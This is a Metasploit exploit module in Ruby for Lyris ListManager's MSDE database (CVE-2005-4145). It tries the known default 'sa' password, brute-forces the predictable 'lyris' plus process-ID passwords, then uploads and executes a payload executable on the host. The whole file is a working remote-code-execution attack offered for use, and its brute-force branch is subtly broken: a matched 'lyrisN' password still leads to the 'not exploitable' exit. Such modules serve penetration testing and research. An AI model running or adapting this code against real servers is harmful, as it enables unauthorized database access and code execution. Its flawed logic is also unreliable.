##
# $Id: lyris_listmanager_weak_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Lyris ListManager MSDE Weak sa Password',
'Description' => %q{
This module exploits a weak password vulnerability in the
Lyris ListManager MSDE install. During installation, the 'sa'
account password is set to 'lminstall'. Once the install
completes, it is set to 'lyris' followed by the process
ID of the installer. This module brute forces all possible
process IDs that would be used by the installer.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2005-4145'],
[ 'OSVDB', '21559'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 08 2005'
))
end
# Do not automatically run this module, it can lead to lockouts with SQL Server 2005
def autofilter
false
end
def exploit
# New installations use a randomly generated suffix like "lyris629dAe536F"
pass = nil
while(true)
print_status("Trying to authenticate with password 'lminstall'...")
if(mssql_login('sa', 'lminstall'))
pass = 'lminstall'
break
end
print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
1.upto(65535) do |pid|
if(pid % 1000 == 0)
print_status(" >> Completed #{pid} of 65535 authentication requests")
end
if(mssql_login('sa', "lyris#{pid}"))
pass = "lyris#{pid}"
break
end
end
print_status("This system does not appear to be exploitable")
return
end
print_status("")
print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
print_status("")
exe = generate_payload_exe
mssql_upload_exec(exe)
handler
disconnect
end
end